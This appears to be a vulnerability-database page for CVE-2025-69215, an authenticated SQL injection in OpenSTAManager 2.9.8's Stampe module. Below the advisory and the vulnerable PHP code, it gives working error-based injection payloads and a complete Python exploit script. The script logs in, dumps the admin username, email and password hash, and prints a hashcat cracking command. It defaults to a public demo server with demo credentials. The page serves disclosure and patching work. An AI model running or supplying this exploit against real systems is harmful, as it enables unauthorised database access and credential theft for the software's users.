Lucene search
K

πŸ“„ OpenSTAManager 2.9.8 SQL Injection

πŸ—“οΈΒ 13 Apr 2026Β 00:00:00Reported by Łukasz RybakTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 105Β Views

SQL injection in Stampe module of OpenSTAManager 2.9.8 allows DB update via module parameter.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for SQL Injection in Devcode Openstamanager
11 Apr 202619:13
–githubexploit
ATTACKERKB
CVE-2025-69215
4 Feb 202617:42
–attackerkb
Circl
CVE-2025-69215
3 Feb 202618:10
–circl
CNNVD
OpenSTAManager SQL注ε…₯漏洞
4 Feb 202600:00
–cnnvd
CVE
CVE-2025-69215
4 Feb 202617:42
–cve
Cvelist
CVE-2025-69215 OpenSTAManager has an SQL Injection in the Stampe Module
4 Feb 202617:42
–cvelist
EUVD
EUVD-2025-206784
4 Feb 202617:42
–euvd
Github Security Blog
OpenSTAManager has an SQL Injection in the Stampe Module
3 Feb 202619:01
–github
NVD
CVE-2025-69215
4 Feb 202618:16
–nvd
OSV
CVE-2025-69215 OpenSTAManager has an SQL Injection in the Stampe Module
4 Feb 202617:42
–osv
Rows per page
# CVE-2025-69215: OpenSTAManager has an SQL Injection in the Stampe Module
    
    ## Overview
    
    | Field | Details |
    |---|---|
    | **CVE ID** | [CVE-2025-69215](https://nvd.nist.gov/vuln/detail/CVE-2025-69215) |
    | **Severity** | HIGH |
    | **Advisory** | [View Advisory](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q) |
    | **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
    
    ## Affected Products
    
    - **devcode-it/openstamanager** (versions: <= 2.9.8)
    
    
    ## CWE Classification
    
    - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    
    ## Details
    
    ## Vulnerability Details
    
    ### Location
    - **File:** `modules/stampe/actions.php`
    - **Line:** 26
    - **Vulnerable Code:**
    ```php
    case 'update':
        if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
            $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
            // ↑ Direct concatenation without prepare() sanitization
        }
    ```
    
    ### Root Cause
    
    The `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.
    
    **Vulnerable Pattern:**
    ```php
    // Line 25: intval() protects predefined, but module is not sanitized!
    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
        // Line 26: Direct concatenation - VULNERABLE
        $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
    }
    ```
    
    ## Exploitation
    ### Vulnerable Endpoint
    ```
    POST /modules/stampe/actions.php
    ```
    
    ### Required Parameters
    ```
    op=update
    id_record=1
    predefined=1 (must be non-zero after intval())
    module=[INJECTION_PAYLOAD]
    title=Test
    filename=test.pdf
    ```
    
    ### Authentication Requirement
    - Requires valid authenticated session (any user with access to Stampe module)
    - **VERIFIED:** Users with "Tecnici" group access can exploit (NOT admin-only!)
    - **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico
    
    ### Exploitation Type
    **Error-based SQL Injection** using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions
    
    ### Proof of Concept
    
    #### Method 1: EXTRACTVALUE (MySQL 5.1+)
    ```python
    POST /modules/stampe/actions.php
    Content-Type: application/x-www-form-urlencoded
    
    op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf
    ```
    
    **Result:**
    
    <img width="2208" height="912" alt="image" src="https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34" />
    
    **Extracted Data:** MySQL version `8.3.0`
    
    ---
    
    #### Method 2: GTID_SUBSET (MySQL 5.6+)
    ```python
    module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)
    ```
    
    **Result:**
    
    <img width="2025" height="903" alt="image" src="https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8" />
    
    
    **Extracted Data:** Database name `openstamanager`
    
    ---
    
    #### Method 3: UPDATEXML (MySQL 5.1+)
    ```python
    module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)
    ```
    
    **Result:**
    
    <img width="2027" height="897" alt="image" src="https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43" />
    
    **Extracted Data:** Database user `[email protected]`
    
    ---
    
    ### Automated Exploitation
    
    **Full Exploit Script:** `exploit_stampe_sqli.py`
    
    ```python
    #!/usr/bin/env python3
    """
    SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php
    
    Usage:
        python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
        python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
    """
    
    import requests
    import re
    import argparse
    import sys
    from html import unescape
    from urllib.parse import urljoin
    
    class StampeSQLiExploit:
        def __init__(self, base_url, username, password, verbose=False):
            self.base_url = base_url.rstrip('/')
            self.username = username
            self.password = password
            self.verbose = verbose
            self.session = requests.Session()
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
            })
    
        def login(self):
            """Authenticate with username and password"""
            login_url = urljoin(self.base_url, '/index.php')
    
            if self.verbose:
                print(f"[DEBUG] Attempting login to {login_url}")
                print(f"[DEBUG] Username: {self.username}")
    
            # First, get the login page to establish session
            resp = self.session.get(login_url)
            if self.verbose:
                print(f"[DEBUG] Initial GET status: {resp.status_code}")
    
            # Send login credentials with op=login parameter (required!)
            login_data = {
                'username': self.username,
                'password': self.password,
                'op': 'login',  # Required for OpenSTAManager
            }
    
            resp = self.session.post(login_url, data=login_data, allow_redirects=True)
    
            if self.verbose:
                print(f"[DEBUG] Login POST status: {resp.status_code}")
                print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")
    
            # Check if login was successful
            if 'PHPSESSID' not in self.session.cookies:
                print("[-] Login failed: No session cookie received")
                return False
    
            # Check if we're redirected to dashboard or still on login page
            if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
                print("[-] Login failed: Still on login page")
                if self.verbose:
                    print(f"[DEBUG] Current URL: {resp.url}")
                return False
    
            print(f"[+] Successfully logged in as '{self.username}'")
            print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}")
            return True
    
        def inject(self, sql_query):
            """Execute SQL injection payload"""
            # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)
            payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"
    
            target_url = urljoin(self.base_url, '/modules/stampe/actions.php')
    
            if self.verbose:
                print(f"[DEBUG] Target: {target_url}")
                print(f"[DEBUG] Payload: {payload}")
    
            response = self.session.post(
                target_url,
                data={
                    "op": "update",
                    "id_record": "1",
                    "predefined": "1",
                    "module": payload,
                    "title": "Test",
                    "filename": "test.pdf"
                }
            )
    
            if self.verbose:
                print(f"[DEBUG] Response status: {response.status_code}")
                print(f"[DEBUG] Response length: {len(response.text)}")
    
            # Unescape HTML entities first
            response_text = unescape(response.text)
    
            # Pattern 1: XPATH syntax error with HTML entities or quotes
            # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039;
            xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
            if xpath_match:
                result = xpath_match.group(1)
                if self.verbose:
                    print(f"[DEBUG] Extracted via XPATH pattern: {result}")
                return result
    
            # Pattern 2: Look in HTML comments (demo puts errors in comments)
            # <!--...XPATH syntax error: '~data~'...-->
            comment_match = re.search(r"<!--.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?.*?-->", response_text, re.DOTALL | re.IGNORECASE)
            if comment_match:
                result = comment_match.group(1)
                if self.verbose:
                    print(f"[DEBUG] Extracted from HTML comment: {result}")
                return result
    
            # Pattern 3: <code> tags
            codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL)
            for code in codes:
                clean = code.strip()
                if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:
                    match = re.search(r"~([^~]+)~", clean)
                    if match:
                        result = match.group(1)
                        if self.verbose:
                            print(f"[DEBUG] Extracted from <code>: {result}")
                        return result
    
            # Pattern 4: PDOException error format (as shown in user's example)
            # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'
            pdo_match = re.search(r"PDOException:.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE | re.DOTALL)
            if pdo_match:
                result = pdo_match.group(1)
                if self.verbose:
                    print(f"[DEBUG] Extracted from PDOException: {result}")
                return result
    
            # Pattern 5: Generic ~...~ markers (last resort)
            markers = re.findall(r'~([^~]{1,100})~', response_text)
            if markers:
                if self.verbose:
                    print(f"[DEBUG] Found generic markers: {markers}")
                # Filter out HTML/CSS junk
                for marker in markers:
                    if marker and len(marker) > 2:
                        # Skip common HTML patterns
                        if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']):
                            if self.verbose:
                                print(f"[DEBUG] Using marker: {marker}")
                            return marker
    
            if self.verbose:
                print("[DEBUG] No data extracted from response")
                # Save response for debugging
                with open('/tmp/stampe_response_debug.html', 'w') as f:
                    f.write(response.text)
                print("[DEBUG] Response saved to /tmp/stampe_response_debug.html")
    
            return None
    
        def dump_info(self):
            """Dump database information"""
            queries = [
                ("Database Version", "VERSION()"),
                ("Database Name", "DATABASE()"),
                ("Current User", "USER()"),
                ("Admin Username", "SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1"),
                ("Admin Email", "SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1"),
                ("Admin Password Hash (1-30)", "SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
                ("Admin Password Hash (31-60)", "SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
                ("Total Users", "SELECT COUNT(*) FROM zz_users"),
                ("First Table", "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1"),
            ]
    
            print("="*70)
            print(" EXPLOITING SQL INJECTION - DATA EXTRACTION")
            print("="*70)
            print()
    
            results = {}
            for desc, query in queries:
                print(f"[*] Extracting: {desc}")
                print(f"    Query: {query}")
                result = self.inject(query)
                if result:
                    print(f"    βœ“ Result: {result}")
                    results[desc] = result
                else:
                    print(f"    βœ— Failed to extract")
                print()
    
            return results
    
    def main():
        parser = argparse.ArgumentParser(
            description='OpenSTAManager Stampe Module SQL Injection Exploit',
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog='''
    Examples:
      # Exploit demo.osmbusiness.it with tecnico user
      python3 %(prog)s -u tecnico -p tecnicotecnico
    
      # Exploit demo with admin credentials
      python3 %(prog)s -u admin -p admin123
    
      # Exploit custom installation with verbose output
      python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v
            '''
        )
    
        parser.add_argument('-u', '--username', required=True,
                            help='Username for authentication')
        parser.add_argument('-p', '--password', required=True,
                            help='Password for authentication')
        parser.add_argument('--url', default='https://demo.osmbusiness.it',
                            help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')
        parser.add_argument('-v', '--verbose', action='store_true',
                            help='Enable verbose output for debugging')
    
        args = parser.parse_args()
    
        print("β•”" + "="*68 + "β•—")
        print("β•‘  SQL Injection Exploit - OpenSTAManager Stampe Module          β•‘")
        print("β•‘  CVE-PENDING | Authenticated Error-Based SQLi                 β•‘")
        print("β•š" + "="*68 + "╝")
        print()
        print(f"[*] Target: {args.url}")
        print(f"[*] Username: {args.username}")
        print()
    
        exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)
    
        # Login first
        if not exploit.login():
            print("\n[-] Authentication failed. Cannot proceed with exploitation.")
            print("[!] Please check:")
            print("    1. Are the credentials correct?")
            print("    2. Is the target URL accessible?")
            print("    3. Is the user account active?")
            sys.exit(1)
    
        print()
    
        # Extract data
        results = exploit.dump_info()
    
        # Summary
        print("="*70)
        print(" EXTRACTION SUMMARY")
        print("="*70)
        print()
    
        if results:
            for key, value in results.items():
                print(f"  {key:.<40} {value}")
    
            # If we got admin password hash, combine it
            if "Admin Password Hash (1-30)" in results and "Admin Password Hash (31-60)" in results:
                full_hash = results["Admin Password Hash (1-30)"] + results["Admin Password Hash (31-60)"]
                print()
                print("  " + "="*66)
                print(f"  Full Admin Password Hash: {full_hash}")
                print("  " + "="*66)
                print()
                print("  [!] Crack with hashcat:")
                print(f"      hashcat -m 3200 '{full_hash}' wordlist.txt")
        else:
            print("  βœ— No data extracted")
            if not args.verbose:
                print("\n  [!] Try running with -v flag for debugging information")
    
    if __name__ == "__main__":
        main()
    
    ```
    
    ### Attribution
    Reported by Łukasz Rybak
    
    ## References
    
    - https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69215
    - https://github.com/advisories/GHSA-qx9p-w3vj-q24q
    
    
    ## Disclaimer
    
    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Apr 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.8
CVSS 48.7
EPSS0.00374
SSVC
105